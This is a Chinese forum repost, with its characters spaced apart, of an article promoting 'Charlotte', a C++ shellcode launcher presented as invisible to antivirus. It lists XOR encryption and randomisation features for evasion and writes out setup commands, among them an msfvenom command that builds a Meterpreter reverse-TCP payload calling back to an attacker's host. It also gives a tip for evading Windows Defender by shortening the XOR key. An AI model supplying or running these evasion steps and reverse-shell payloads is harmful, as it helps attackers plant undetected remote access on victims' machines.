搜索

[16869] 2021-06-05_Charlotte：完全不会被检测到的Shellcode启动器

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-06-05_Charlotte：完全不会被检测到的Shellcode启动器 C h a r l o t t e ： 完 全 不 会 被 检 测 到 的 S h e l l c o d e 启 动 器 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 6 - 0 5 关 于 关 于 C h a r l o t t e C h a r l o t t e 是 一 款 基 于 C + + 实 现 的 S h e l l c o d e 启 动 器 ， 并 且 完 全 不 会 被 安 全 解 决 方 案 所 检 测 到 。 工 具 特 性 工 具 特 性 截 止 至 2 0 2 1 年 5 月 1 3 日 之 前 ， 该 工 具 的 检 测 结 果 为 0 / 2 6 ； 该 工 具 支 持 动 态 调 用 W i n 3 2   A P I 函 数 ； 对 S h e l l c o d e 和 函 数 名 进 行 异 或 加 密 ； 每 次 运 行 随 机 化 异 或 密 钥 和 变 量 ； 在 K a l i   L i n u x 上 ， 只 需 运 行 “ a p t - g e t   i n s t a l l   m i n g w - w 6 4 * ” 即 可 ； 支 持 随 机 字 符 串 长 度 和 异 或 密 钥 长 度 ； a n t i s c a n . m e
工 具 使 用 工 具 使 用 首 先 ， 我 们 需 要 使 用 g i t   c l o n e 命 令 将 该 项 目 源 码 克 隆 至 本 地 ， 并 使 用 脚 本 工 具 生 成 S h e l l c o d e 文 件 。 具 体 操 作 示 例 如 下 ： 使 用 使 用 m s f v e n o m   - p 测 试 以 及 测 试 以 及 C o b a l t   S t r i k e 原 始 格 式 原 始 格 式 P a y l o a d 强 化 功 能 强 化 功 能 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / 9 e m i n 1 / c h a r l o t t e . g i t   & &   a p t - g e t   i n s t a l l   m i n g w - w 6 4 * c d   c h a r l o t t e m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = $ Y O U R _ I P   L P O R T = $ Y O U R _ P O R T   - f   r a w   >   b e a c o n . b i n p y t h o n   c h a r l o t t e . p y
很 明 显 ， W i n d o w s   D e f e n d e r 是 能 够 检 测 到 . D L L 代 码 的 ， 但 我 们 在 P O C 中 通 过 将 1 6 字 节 大 小 的 异 或 密 钥 降 低 至 9 个 字 节 ， 就 可 以 规 避 检 测 了 。 项 目 地 址 项 目 地 址 C h a r l o t t e ： 【 点 击 阅 读 原 文 】 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理